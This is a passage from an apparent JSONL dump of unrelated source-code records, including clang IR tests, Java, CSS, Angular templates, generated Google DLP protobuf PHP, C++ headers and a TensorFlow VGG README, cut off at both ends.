%[[val]] to i32\n // CHECK-PPC64: ret i32 %[[ext]]\n return s->b;\n }\n void write(B2* s, unsigned x) {\n // CHECK-X86-64-LABEL: define void @_ZN2N75write\n // CHECK-X86-64: %[[gep:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-X86-64: %[[ptr:.*]] = bitcast [3 x i8]* %[[gep]] to i24*\n // CHECK-X86-64: %[[new:.*]] = trunc i32 %{{.*}} to i24\n // CHECK-X86-64: store i24 %[[new]], i24* %[[ptr]]\n // CHECK-PPC64-LABEL: define void @_ZN2N75write\n // CHECK-PPC64: %[[gep:.*]] = getelementptr inbounds {{.*}}, {{.*}}* %{{.*}}, i32 0, i32 1\n // CHECK-PPC64: %[[ptr:.*]] = bitcast [3 x i8]* %[[gep]] to i24*\n // CHECK-PPC64: %[[new:.*]] = trunc i32 %{{.*}} to i24\n // CHECK-PPC64: store i24 %[[new]], i24* %[[ptr]]\n s->b = x;\n }\n}\n"} -{"text": "/*\n * Copyright 2020 ConsenSys AG.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may not use this file except in compliance with\n * the License. You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on\n * an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\n\npackage tech.pegasys.teku.statetransition.attestation;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport tech.pegasys.teku.bls.BLS;\nimport tech.pegasys.teku.bls.BLSSignature;\nimport tech.pegasys.teku.datastructures.operations.Attestation;\nimport tech.pegasys.teku.ssz.SSZTypes.Bitlist;\n\npublic class AggregatorUtil {\n public static Attestation aggregateAttestations(\n final Attestation firstAttestation, final Attestation... attestations) {\n final Bitlist aggregateBits = firstAttestation.getAggregation_bits().copy();\n final List signatures = new ArrayList<>();\n signatures.add(firstAttestation.getAggregate_signature());\n\n for (Attestation attestation : attestations) {\n aggregateBits.setAllBits(attestation.getAggregation_bits());\n signatures.add(attestation.getAggregate_signature());\n }\n return new Attestation(aggregateBits, firstAttestation.getData(), BLS.aggregate(signatures));\n }\n}\n"} -{"text": "# Tensorflow VGG16 and VGG19\n\nThis is a Tensorflow implemention of VGG 16 and VGG 19 based on [tensorflow-vgg16](https://github.com/ry/tensorflow-vgg16) and [Caffe to Tensorflow](https://github.com/ethereon/caffe-tensorflow). Original Caffe implementation can be found in [here](https://gist.github.com/ksimonyan/211839e770f7b538e2d8) and [here](https://gist.github.com/ksimonyan/3785162f95cd2d5fee77).\n\nWe have modified the implementation of tensorflow-vgg16 to use numpy loading instead of default tensorflow model loading in order to speed up the initialisation and reduce the overall memory usage. This implementation enable further modify the network, e.g. remove the FC layers, or increase the batch size.\n\n>To use the VGG networks, the npy files for [VGG16 NPY](https://mega.nz/#!YU1FWJrA!O1ywiCS2IiOlUCtCpI6HTJOMrneN-Qdv3ywQP5poecM) or [VGG19 NPY](https://mega.nz/#!xZ8glS6J!MAnE91ND_WyfZ_8mvkuSa2YcA7q-1ehfSm-Q1fxOvvs) has to be downloaded.\n\n## Usage\nUse this to build the VGG object\n```\nvgg = vgg19.Vgg19()\nvgg.build(images)\n```\nor\n```\nvgg = vgg16.Vgg16()\nvgg.build(images)\n```\nThe `images` is a tensor with shape `[None, 224, 224, 3]`. \n>Trick: the tensor can be a placeholder, a variable or even a constant.\n\nAll the VGG layers (tensors) can then be accessed using the vgg object. For example, `vgg.conv1_1`, `vgg.conv1_2`, `vgg.pool5`, `vgg.prob`, ...\n\n`test_vgg16.py` and `test_vgg19.py` contain the sample usage.\n\n## Extra\nThis library has been used in my another Tensorflow image style synethesis project: [stylenet](https://github.com/machrisaa/stylenet)\n\n\n## Update 1: Trainable VGG:\nAdded a trainable version of the VGG19 `vgg19_trainable`. It support train from existing vaiables or from scratch. (But the trainer is not included)\n\nA very simple testing is added `test_vgg19_trainable`, switch has demo about how to train, switch off train mode for verification, and how to save.\n\nA seperated file is added (instead of changing existing one) because I want to keep the simplicity of the original VGG networks.\n\n\n## Update 2: Tensorflow v1.0.0:\nAll the source code has been upgraded to [v1.0.0](https://github.com/tensorflow/tensorflow/blob/v1.0.0-rc1/RELEASE.md).\n\nThe conversion is done by my another project [tf0to1](https://github.com/machrisaa/tf0to1)\n\n"} -{"text": "/* =============================================================================\n HTML5 Boilerplate CSS: h5bp.com/css\n ========================================================================== */\n\narticle, aside, details, figcaption, figure, footer, header, hgroup, nav, section { display: block; }\naudio, canvas, video { display: inline-block; *display: inline; *zoom: 1; }\n/*audio:not([controls]) { display: none; }*/\n[hidden] { display: none; }\n\nhtml { font-size: 100%; -webkit-text-size-adjust: 100%; -ms-text-size-adjust: 100%; }\nhtml, button, input, select, textarea { font-family: sans-serif; color: #222; }\nbody { margin: 0; font-size: 1em; line-height: 1.4; }\n\n::-moz-selection { background: #20A6DB; color: #fff; text-shadow: none; }\n::selection { background: #20A6DB; color: #fff; text-shadow: none; }\n\na { color: #20A6DB; text-decoration: none;\n -webkit-transition:all .3s ease-in-out;\n -moz-transition:all .3s ease-in-out;\n -o-transition:all .3s ease-in-out;\n transition:all .3s ease-in-out;\n}\na:visited { color: #20A6DB; }\na:hover { color: #25BBF7; }\n/* a:focus { outline: thin dotted; } */\na:focus { outline: none; }\na:hover, a:active { outline: 0; }\n\nabbr[title] { border-bottom: 1px dotted; }\nb, strong { font-weight: bold; }\nblockquote { margin: 1em 40px; }\ndfn { font-style: italic; }\nhr { display: block; height: 1px; border: 0; border-top: 1px solid #ccc; margin: 1em 0; padding: 0; }\nins { background: #ff9; color: #000; text-decoration: none; }\nmark { background: #ff0; color: #000; font-style: italic; font-weight: bold; }\npre, code, kbd, samp { font-family: monospace, serif; _font-family: 'courier new', monospace; font-size: 1em; }\npre { white-space: pre; white-space: pre-wrap; word-wrap: break-word; }\nq { quotes: none; }\nq:before, q:after { content: \"\"; content: none; }\nsmall { font-size: 85%; }\n\nsub, sup { font-size: 75%; line-height: 0; position: relative; vertical-align: baseline; }\nsup { top: -0.5em; }\nsub { bottom: -0.25em; }\n\nul, ol { margin: 1em 0; padding: 0 0 0 40px; }\ndd { margin: 0 0 0 40px; }\nnav ul, nav ol { list-style: none; list-style-image: none; margin: 0; padding: 0; }\n\nimg { border: 0; -ms-interpolation-mode: bicubic; vertical-align: middle; }\n\nsvg:not(:root) { overflow: hidden; }\n\nfigure { margin: 0; }\n\nform { margin: 0; }\nfieldset { border: 0; margin: 0; padding: 0; }\nlabel { cursor: pointer; }\nlegend { border: 0; *margin-left: -7px; padding: 0; white-space: normal; }\nbutton, input, select, textarea { font-size: 100%; margin: 0; vertical-align: baseline; *vertical-align: middle; }\nbutton, input { line-height: normal; }\nbutton, input[type=\"button\"], input[type=\"reset\"], input[type=\"submit\"] { cursor: pointer; -webkit-appearance: button; *overflow: visible; }\nbutton[disabled], input[disabled] { cursor: default; }\ninput[type=\"checkbox\"], input[type=\"radio\"] { box-sizing: border-box; padding: 0; *width: 13px; *height: 13px; }\ninput[type=\"search\"] { -webkit-appearance: textfield; -moz-box-sizing: content-box; -webkit-box-sizing: content-box; box-sizing: content-box; }\ninput[type=\"search\"]::-webkit-search-decoration, input[type=\"search\"]::-webkit-search-cancel-button { -webkit-appearance: none; }\nbutton::-moz-focus-inner, input::-moz-focus-inner { border: 0; padding: 0; }\ntextarea { overflow: auto; vertical-align: top; resize: vertical; }\n/* input:valid, textarea:valid { } */\ninput:invalid, textarea:invalid { background-color: #f0dddd; }\n\ntable { border-collapse: collapse; border-spacing: 0; }\ntd { vertical-align: top; }\n\n.chromeframe { margin: 0.2em 0; background: #ccc; color: black; padding: 0.2em 0; }\n\n\n/* =========================================================================\n Primary Styles \n ========================================================================== */\n\nbody { color: #333; padding-bottom: 3em; }\n\nh1, h2, h3 {\n font-family: 'Lato', Arial, sans-serif;\n font-style: italic;\n font-weight: 700;\n margin: 0;\n}\n\nh1 {\n font-size: 4em;\n font-weight: 900;\n text-shadow: 2px 2px 3px #CCC;\n}\n\nh2 a,\nh2 span { font-size: .8em; }\n\nh3 {\n font-size: 1.1em;\n margin-bottom: 1em;\n}\n\nh2 span,\nh3 span { color: #AAA; }\n\np, pre { margin: 0.5em 0 1.5em; }\n\npre {\n font-size: .8em;\n color: #555;\n background: #EEE;\n padding: 1.5em 0 1.5em 1.5em;\n\n -webkit-border-radius: 10px;\n border-radius: 10px;\n}\n\n\n#wrapper {\n overflow: hidden;\n width: 500px;\n margin: 0 auto;\n}\n\n#height-example,\n#width-example { overflow: hidden; }\n\n.example { margin-bottom: 1.5em; }\n\n.example div {\n float: left;\n text-align: center;\n background: #DDD;\n margin: 10px;\n padding: 10px;\n}\n\n#advanced-example div,\n#height-example div { width: 60px; }\n/* #width-example div { } */\n\n#author {\n overflow: hidden;\n margin-bottom: 1.5em;\n}\n\n#author iframe { float: left; }\n\n#author span {\n display: inline-block;\n *display: block;\n zoom: 1;\n\n margin-top: 5px;\n}\n\n\n/* =============================================================================\n Non-Semantic Helper Classes\n ========================================================================== */\n\n.ir { display: block; border: 0; text-indent: -999em; overflow: hidden; background-color: transparent; background-repeat: no-repeat; text-align: left; direction: ltr; *line-height: 0; }\n.ir br { display: none; }\n.hidden { display: none !important; visibility: hidden; }\n.visuallyhidden { border: 0; clip: rect(0 0 0 0); height: 1px; margin: -1px; overflow: hidden; padding: 0; position: absolute; width: 1px; }\n.visuallyhidden.focusable:active, .visuallyhidden.focusable:focus { clip: auto; height: auto; margin: 0; overflow: visible; position: static; width: auto; }\n.invisible { visibility: hidden; }\n.clearfix:before, .clearfix:after { content: \"\"; display: table; }\n.clearfix:after { clear: both; }\n.clearfix { *zoom: 1; }*/\n\n/* =============================================================================\n Print Styles\n ========================================================================== * /\n \n@media print {\n * { background: transparent !important; color: black !important; box-shadow:none !important; text-shadow: none !important; filter:none !important; -ms-filter: none !important; } /* Black prints faster: h5bp.com/s * /\n a, a:visited { text-decoration: underline; }\n a[href]:after { content: \" (\" attr(href) \")\"; }\n abbr[title]:after { content: \" (\" attr(title) \")\"; }\n .ir a:after, a[href^=\"javascript:\"]:after, a[href^=\"#\"]:after { content: \"\"; } /* Don't show links for images, or javascript/internal links * /\n pre, blockquote { border: 1px solid #999; page-break-inside: avoid; }\n thead { display: table-header-group; } /* h5bp.com/t * /\n tr, img { page-break-inside: avoid; }\n img { max-width: 100% !important; }\n @page { margin: 0.5cm; }\n p, h2, h3 { orphans: 3; widows: 3; }\n h2, h3 { page-break-after: avoid; }\n} */\n"} -{"text": "\n This application showcases how you can dynamically download modules on Samsung Galaxy Store, press the download button below to begin installing the Video module\n\n"} -{"text": "var convert = require('./convert'),\n func = convert('toArray', require('../toArray'), require('./_falseOptions'));\n\nfunc.placeholder = require('./placeholder');\nmodule.exports = func;\n"} -{"text": "
    \n
    \n
    \n

    {{ band.Name}}

    \n
    \n

    Founded in: {{ band.ReleasedAt }}

    \n

    Nationality: {{ band.Nationality }}

    \n

    \n Official site: \n {{ band.OfficialSite }}\n \n

    \n

    \n Votes: \n \n {{ band.Rating }}\n \n +\n \u2212\n \n \n

    \n

    \n Band members:\n {{\n toggleBandMembersListButtonText }}\n

      \n
    • \n {{ bandMember }}\n
      • \n
    \n

    \n
    \n
    \n
    \n \"{{\n
    \n
    \n\n
    \n
    \n Albums related to {{ band.Name }}\n
    \n
    \n See all\n
    \n
    \n
    \n
    \n

    {{ album.Name | uppercase }}

    \n\n
    \n \n \n \n
    \n
    \n
    \n\n
    \n
    \n Songs related to {{ band.Name }}\n
    \n
    \n See all\n
    \n
    \n
    \n
    \n

    {{ song.Name | uppercase }}

    \n\n
    \n \n \n \n
    \n
    \n
    \n
    "} -{"text": "google.privacy.dlp.v2.Finding\n */\nclass Finding extends \\Google\\Protobuf\\Internal\\Message\n{\n /**\n * Resource name in format\n * projects/{project}/locations/{location}/findings/{finding} Populated only\n * when viewing persisted findings.\n *\n * Generated from protobuf field string name = 14;\n */\n private $name = '';\n /**\n * The content that was found. Even if the content is not textual, it\n * may be converted to a textual representation here.\n * Provided if `include_quote` is true and the finding is\n * less than or equal to 4096 bytes long. If the finding exceeds 4096 bytes\n * in length, the quote may be omitted.\n *\n * Generated from protobuf field string quote = 1;\n */\n private $quote = '';\n /**\n * The type of content that might have been found.\n * Provided if `excluded_types` is false.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.InfoType info_type = 2;\n */\n private $info_type = null;\n /**\n * Confidence of how likely it is that the `info_type` is correct.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.Likelihood likelihood = 3;\n */\n private $likelihood = 0;\n /**\n * Where the content was found.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.Location location = 4;\n */\n private $location = null;\n /**\n * Timestamp when finding was detected.\n *\n * Generated from protobuf field .google.protobuf.Timestamp create_time = 6;\n */\n private $create_time = null;\n /**\n * Contains data parsed from quotes. Only populated if include_quote was set\n * to true and a supported infoType was requested. Currently supported\n * infoTypes: DATE, DATE_OF_BIRTH and TIME.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.QuoteInfo quote_info = 7;\n */\n private $quote_info = null;\n /**\n * The job that stored the finding.\n *\n * Generated from protobuf field string resource_name = 8 [(.google.api.resource_reference) = {\n */\n private $resource_name = '';\n /**\n * Job trigger name, if applicable, for this finding.\n *\n * Generated from protobuf field string trigger_name = 9 [(.google.api.resource_reference) = {\n */\n private $trigger_name = '';\n /**\n * The labels associated with this `Finding`.\n * Label keys must be between 1 and 63 characters long and must conform\n * to the following regular expression: `[a-z]([-a-z0-9]*[a-z0-9])?`.\n * Label values must be between 0 and 63 characters long and must conform\n * to the regular expression `([a-z]([-a-z0-9]*[a-z0-9])?)?`.\n * No more than 10 labels can be associated with a given finding.\n * Examples:\n * * `\"environment\" : \"production\"`\n * * `\"pipeline\" : \"etl\"`\n *\n * Generated from protobuf field map labels = 10;\n */\n private $labels;\n /**\n * Time the job started that produced this finding.\n *\n * Generated from protobuf field .google.protobuf.Timestamp job_create_time = 11;\n */\n private $job_create_time = null;\n /**\n * The job that stored the finding.\n *\n * Generated from protobuf field string job_name = 13 [(.google.api.resource_reference) = {\n */\n private $job_name = '';\n\n /**\n * Constructor.\n *\n * @param array $data {\n * Optional. Data for populating the Message object.\n *\n * @type string $name\n * Resource name in format\n * projects/{project}/locations/{location}/findings/{finding} Populated only\n * when viewing persisted findings.\n * @type string $quote\n * The content that was found. Even if the content is not textual, it\n * may be converted to a textual representation here.\n * Provided if `include_quote` is true and the finding is\n * less than or equal to 4096 bytes long. If the finding exceeds 4096 bytes\n * in length, the quote may be omitted.\n * @type \\Google\\Cloud\\Dlp\\V2\\InfoType $info_type\n * The type of content that might have been found.\n * Provided if `excluded_types` is false.\n * @type int $likelihood\n * Confidence of how likely it is that the `info_type` is correct.\n * @type \\Google\\Cloud\\Dlp\\V2\\Location $location\n * Where the content was found.\n * @type \\Google\\Protobuf\\Timestamp $create_time\n * Timestamp when finding was detected.\n * @type \\Google\\Cloud\\Dlp\\V2\\QuoteInfo $quote_info\n * Contains data parsed from quotes. Only populated if include_quote was set\n * to true and a supported infoType was requested. Currently supported\n * infoTypes: DATE, DATE_OF_BIRTH and TIME.\n * @type string $resource_name\n * The job that stored the finding.\n * @type string $trigger_name\n * Job trigger name, if applicable, for this finding.\n * @type array|\\Google\\Protobuf\\Internal\\MapField $labels\n * The labels associated with this `Finding`.\n * Label keys must be between 1 and 63 characters long and must conform\n * to the following regular expression: `[a-z]([-a-z0-9]*[a-z0-9])?`.\n * Label values must be between 0 and 63 characters long and must conform\n * to the regular expression `([a-z]([-a-z0-9]*[a-z0-9])?)?`.\n * No more than 10 labels can be associated with a given finding.\n * Examples:\n * * `\"environment\" : \"production\"`\n * * `\"pipeline\" : \"etl\"`\n * @type \\Google\\Protobuf\\Timestamp $job_create_time\n * Time the job started that produced this finding.\n * @type string $job_name\n * The job that stored the finding.\n * }\n */\n public function __construct($data = NULL) {\n \\GPBMetadata\\Google\\Privacy\\Dlp\\V2\\Dlp::initOnce();\n parent::__construct($data);\n }\n\n /**\n * Resource name in format\n * projects/{project}/locations/{location}/findings/{finding} Populated only\n * when viewing persisted findings.\n *\n * Generated from protobuf field string name = 14;\n * @return string\n */\n public function getName()\n {\n return $this->name;\n }\n\n /**\n * Resource name in format\n * projects/{project}/locations/{location}/findings/{finding} Populated only\n * when viewing persisted findings.\n *\n * Generated from protobuf field string name = 14;\n * @param string $var\n * @return $this\n */\n public function setName($var)\n {\n GPBUtil::checkString($var, True);\n $this->name = $var;\n\n return $this;\n }\n\n /**\n * The content that was found. Even if the content is not textual, it\n * may be converted to a textual representation here.\n * Provided if `include_quote` is true and the finding is\n * less than or equal to 4096 bytes long. If the finding exceeds 4096 bytes\n * in length, the quote may be omitted.\n *\n * Generated from protobuf field string quote = 1;\n * @return string\n */\n public function getQuote()\n {\n return $this->quote;\n }\n\n /**\n * The content that was found. Even if the content is not textual, it\n * may be converted to a textual representation here.\n * Provided if `include_quote` is true and the finding is\n * less than or equal to 4096 bytes long. If the finding exceeds 4096 bytes\n * in length, the quote may be omitted.\n *\n * Generated from protobuf field string quote = 1;\n * @param string $var\n * @return $this\n */\n public function setQuote($var)\n {\n GPBUtil::checkString($var, True);\n $this->quote = $var;\n\n return $this;\n }\n\n /**\n * The type of content that might have been found.\n * Provided if `excluded_types` is false.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.InfoType info_type = 2;\n * @return \\Google\\Cloud\\Dlp\\V2\\InfoType\n */\n public function getInfoType()\n {\n return isset($this->info_type) ? $this->info_type : null;\n }\n\n public function hasInfoType()\n {\n return isset($this->info_type);\n }\n\n public function clearInfoType()\n {\n unset($this->info_type);\n }\n\n /**\n * The type of content that might have been found.\n * Provided if `excluded_types` is false.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.InfoType info_type = 2;\n * @param \\Google\\Cloud\\Dlp\\V2\\InfoType $var\n * @return $this\n */\n public function setInfoType($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Dlp\\V2\\InfoType::class);\n $this->info_type = $var;\n\n return $this;\n }\n\n /**\n * Confidence of how likely it is that the `info_type` is correct.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.Likelihood likelihood = 3;\n * @return int\n */\n public function getLikelihood()\n {\n return $this->likelihood;\n }\n\n /**\n * Confidence of how likely it is that the `info_type` is correct.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.Likelihood likelihood = 3;\n * @param int $var\n * @return $this\n */\n public function setLikelihood($var)\n {\n GPBUtil::checkEnum($var, \\Google\\Cloud\\Dlp\\V2\\Likelihood::class);\n $this->likelihood = $var;\n\n return $this;\n }\n\n /**\n * Where the content was found.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.Location location = 4;\n * @return \\Google\\Cloud\\Dlp\\V2\\Location\n */\n public function getLocation()\n {\n return isset($this->location) ? $this->location : null;\n }\n\n public function hasLocation()\n {\n return isset($this->location);\n }\n\n public function clearLocation()\n {\n unset($this->location);\n }\n\n /**\n * Where the content was found.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.Location location = 4;\n * @param \\Google\\Cloud\\Dlp\\V2\\Location $var\n * @return $this\n */\n public function setLocation($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Dlp\\V2\\Location::class);\n $this->location = $var;\n\n return $this;\n }\n\n /**\n * Timestamp when finding was detected.\n *\n * Generated from protobuf field .google.protobuf.Timestamp create_time = 6;\n * @return \\Google\\Protobuf\\Timestamp\n */\n public function getCreateTime()\n {\n return isset($this->create_time) ? $this->create_time : null;\n }\n\n public function hasCreateTime()\n {\n return isset($this->create_time);\n }\n\n public function clearCreateTime()\n {\n unset($this->create_time);\n }\n\n /**\n * Timestamp when finding was detected.\n *\n * Generated from protobuf field .google.protobuf.Timestamp create_time = 6;\n * @param \\Google\\Protobuf\\Timestamp $var\n * @return $this\n */\n public function setCreateTime($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->create_time = $var;\n\n return $this;\n }\n\n /**\n * Contains data parsed from quotes. Only populated if include_quote was set\n * to true and a supported infoType was requested. Currently supported\n * infoTypes: DATE, DATE_OF_BIRTH and TIME.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.QuoteInfo quote_info = 7;\n * @return \\Google\\Cloud\\Dlp\\V2\\QuoteInfo\n */\n public function getQuoteInfo()\n {\n return isset($this->quote_info) ? $this->quote_info : null;\n }\n\n public function hasQuoteInfo()\n {\n return isset($this->quote_info);\n }\n\n public function clearQuoteInfo()\n {\n unset($this->quote_info);\n }\n\n /**\n * Contains data parsed from quotes. Only populated if include_quote was set\n * to true and a supported infoType was requested. Currently supported\n * infoTypes: DATE, DATE_OF_BIRTH and TIME.\n *\n * Generated from protobuf field .google.privacy.dlp.v2.QuoteInfo quote_info = 7;\n * @param \\Google\\Cloud\\Dlp\\V2\\QuoteInfo $var\n * @return $this\n */\n public function setQuoteInfo($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Cloud\\Dlp\\V2\\QuoteInfo::class);\n $this->quote_info = $var;\n\n return $this;\n }\n\n /**\n * The job that stored the finding.\n *\n * Generated from protobuf field string resource_name = 8 [(.google.api.resource_reference) = {\n * @return string\n */\n public function getResourceName()\n {\n return $this->resource_name;\n }\n\n /**\n * The job that stored the finding.\n *\n * Generated from protobuf field string resource_name = 8 [(.google.api.resource_reference) = {\n * @param string $var\n * @return $this\n */\n public function setResourceName($var)\n {\n GPBUtil::checkString($var, True);\n $this->resource_name = $var;\n\n return $this;\n }\n\n /**\n * Job trigger name, if applicable, for this finding.\n *\n * Generated from protobuf field string trigger_name = 9 [(.google.api.resource_reference) = {\n * @return string\n */\n public function getTriggerName()\n {\n return $this->trigger_name;\n }\n\n /**\n * Job trigger name, if applicable, for this finding.\n *\n * Generated from protobuf field string trigger_name = 9 [(.google.api.resource_reference) = {\n * @param string $var\n * @return $this\n */\n public function setTriggerName($var)\n {\n GPBUtil::checkString($var, True);\n $this->trigger_name = $var;\n\n return $this;\n }\n\n /**\n * The labels associated with this `Finding`.\n * Label keys must be between 1 and 63 characters long and must conform\n * to the following regular expression: `[a-z]([-a-z0-9]*[a-z0-9])?`.\n * Label values must be between 0 and 63 characters long and must conform\n * to the regular expression `([a-z]([-a-z0-9]*[a-z0-9])?)?`.\n * No more than 10 labels can be associated with a given finding.\n * Examples:\n * * `\"environment\" : \"production\"`\n * * `\"pipeline\" : \"etl\"`\n *\n * Generated from protobuf field map labels = 10;\n * @return \\Google\\Protobuf\\Internal\\MapField\n */\n public function getLabels()\n {\n return $this->labels;\n }\n\n /**\n * The labels associated with this `Finding`.\n * Label keys must be between 1 and 63 characters long and must conform\n * to the following regular expression: `[a-z]([-a-z0-9]*[a-z0-9])?`.\n * Label values must be between 0 and 63 characters long and must conform\n * to the regular expression `([a-z]([-a-z0-9]*[a-z0-9])?)?`.\n * No more than 10 labels can be associated with a given finding.\n * Examples:\n * * `\"environment\" : \"production\"`\n * * `\"pipeline\" : \"etl\"`\n *\n * Generated from protobuf field map labels = 10;\n * @param array|\\Google\\Protobuf\\Internal\\MapField $var\n * @return $this\n */\n public function setLabels($var)\n {\n $arr = GPBUtil::checkMapField($var, \\Google\\Protobuf\\Internal\\GPBType::STRING, \\Google\\Protobuf\\Internal\\GPBType::STRING);\n $this->labels = $arr;\n\n return $this;\n }\n\n /**\n * Time the job started that produced this finding.\n *\n * Generated from protobuf field .google.protobuf.Timestamp job_create_time = 11;\n * @return \\Google\\Protobuf\\Timestamp\n */\n public function getJobCreateTime()\n {\n return isset($this->job_create_time) ? $this->job_create_time : null;\n }\n\n public function hasJobCreateTime()\n {\n return isset($this->job_create_time);\n }\n\n public function clearJobCreateTime()\n {\n unset($this->job_create_time);\n }\n\n /**\n * Time the job started that produced this finding.\n *\n * Generated from protobuf field .google.protobuf.Timestamp job_create_time = 11;\n * @param \\Google\\Protobuf\\Timestamp $var\n * @return $this\n */\n public function setJobCreateTime($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Protobuf\\Timestamp::class);\n $this->job_create_time = $var;\n\n return $this;\n }\n\n /**\n * The job that stored the finding.\n *\n * Generated from protobuf field string job_name = 13 [(.google.api.resource_reference) = {\n * @return string\n */\n public function getJobName()\n {\n return $this->job_name;\n }\n\n /**\n * The job that stored the finding.\n *\n * Generated from protobuf field string job_name = 13 [(.google.api.resource_reference) = {\n * @param string $var\n * @return $this\n */\n public function setJobName($var)\n {\n GPBUtil::checkString($var, True);\n $this->job_name = $var;\n\n return $this;\n }\n\n}\n\n"} -{"text": "\n\n\n\n\n"} -{"text": "/*\nTencent is pleased to support the open source community by making PhxQueue available.\nCopyright (C) 2017 THL A29 Limited, a Tencent company. All rights reserved.\nLicensed under the BSD 3-Clause License (the \"License\"); you may not use this file except in compliance with the License. You may obtain a copy of the License at\n\n\n\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n*/\n\n\n\n#include \n\n#include \"phxqueue/comm.h\"\n#include \"phxqueue/plugin.h\"\n\n#include \"phxqueue/test/simpleproducer.h\"\n\n\nusing namespace phxqueue;\nusing namespace std;\n\n\nint main(int argc, char ** argv) {\n comm::LogFunc log_func;\n plugin::LoggerGoogle::GetLogger(\"test_producer\", \"/tmp/phxqueue/log\", 3, log_func);\n\n producer::ProducerOption opt;\n opt.log_func = log_func;\n\n test::SimpleProducer producer(opt);\n producer.Init();\n producer.Enqueue(1000, 123, 1, \"buffer\", 1);\n\n return 0;\n}\n\n"} -{"text": "/*\n*Copyright (c) 2005-2015, WSO2 Inc. (http://www.wso2.org) All Rights Reserved.\n*\n*WSO2 Inc. licenses this file to you under the Apache License,\n*Version 2.0 (the \"License\"); you may not use this file except\n*in compliance with the License.\n*You may obtain a copy of the License at\n*\n*http://www.apache.org/licenses/LICENSE-2.0\n*\n*Unless required by applicable law or agreed to in writing,\n*software distributed under the License is distributed on an\n*\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n*KIND, either express or implied. See the License for the\n*specific language governing permissions and limitations\n*under the License.\n*/\npackage org.wso2.identity.integration.test.utils;\n\npublic class CommonConstants {\n\n public static final int IS_DEFAULT_OFFSET = 410;\n public static final int IS_DEFAULT_HTTPS_PORT = 9853;\n public static final int DEFAULT_TOMCAT_PORT = 8490;\n public static final String DEFAULT_SERVICE_URL = \"https://localhost:9853/services/\";\n public static final String SAML_REQUEST_PARAM = \"SAMLRequest\";\n public static final String SAML_RESPONSE_PARAM = \"SAMLResponse\";\n public static final String SESSION_DATA_KEY = \"name=\\\"sessionDataKey\\\"\";\n public static final String USER_DOES_NOT_EXIST = \"17001\";\n public static final String INVALID_CREDENTIAL = \"17002\";\n public static final String USER_IS_LOCKED = \"17003\";\n public static final String BASIC_AUTHENTICATOR=\"BasicAuthenticator\";\n public static final String USER_AGENT_HEADER = \"User-Agent\";\n\n public enum AdminClients {\n IDENTITY_PROVIDER_MGT_SERVICE_CLIENT,\n APPLICATION_MANAGEMENT_SERVICE_CLIENT,\n USER_MANAGEMENT_CLIENT\n }\n\n\n\n}\n"} -{"text": "\n\n\n\n\n"} -{"text": "// (C) Copyright John Maddock 2005.\n// Use, modification and distribution are subject to the\n// Boost Software License, Version 1.0. (See accompanying file\n// LICENSE_1_0.txt or copy at http://www.boost.org/LICENSE_1_0.txt)\n//\n// This file exists to prevent std lib headers from accidentally\n// including a TR1 extention header; we must suppress this otherwise\n// we can end up with cyclic dependencies with some std lib implementations.\n//\n#ifndef BOOST_TR1_list_INCLUDED\n# define BOOST_TR1_list_INCLUDED\n# ifndef BOOST_TR1_NO_RECURSION\n# define BOOST_TR1_NO_RECURSION\n# define BOOST_TR1_NO_list_RECURSION\n# endif\n# include \n# if defined(BOOST_HAS_INCLUDE_NEXT) && !defined(BOOST_TR1_DISABLE_INCLUDE_NEXT)\n# include_next \n# else\n# include BOOST_TR1_STD_HEADER(list)\n# endif\n# ifdef BOOST_TR1_NO_list_RECURSION\n# undef BOOST_TR1_NO_list_RECURSION\n# undef BOOST_TR1_NO_RECURSION\n# endif\n#endif\n\n"} -{"text": "'use strict';\n\nObject.defineProperty(exports, \"__esModule\", {\n value: true\n});\nexports.default = {\n '@font-face': [font('my-web-font', 'webfont'), font('my-other-font', 'otherfont')]\n};\n\nfunction font(family, filename) {\n return {\n fontFamily: '\"' + family + '\"',\n src: ['url(\"' + filename + '.eot\")', ['url(\"' + filename + '.eot?#iefix\") format(\"embedded-opentype\")', 'url(\"' + filename + '.woff2\") format(\"woff2\")', 'url(\"' + filename + '.woff\") format(\"woff\")', 'url(\"' + filename + '.ttf\") format(\"truetype\")', 'url(\"' + filename + '.svg?#svgFontName\") format(\"svg\")'].join(', ')]\n };\n}"} -{"text": "#ifndef BOXER_H\n#define BOXER_H\n\n#if defined(BOXER_DLL) && defined(BOXER_BUILD_DLL)\n /*!\n * BOXER_DLL must be defined by applications that are linking against the DLL version of the Boxer library.\n * BOXER_BUILD_DLL is defined when compiling the DLL version of the library.\n */\n #error \"You may not have both BOXER_DLL and BOXER_BUILD_DLL defined\"\n#endif\n\n/*!\n * BOXERAPI is used to declare public API classes / functions for export from the DLL / shared library / dynamic library\n */\n#if defined(_WIN32) && defined(BOXER_BUILD_DLL)\n // We are building Boxer as a Win32 DLL\n #define BOXERAPI __declspec(dllexport)\n#elif defined(_WIN32) && defined(BOXER_DLL)\n // We are calling Boxer as a Win32 DLL\n #define 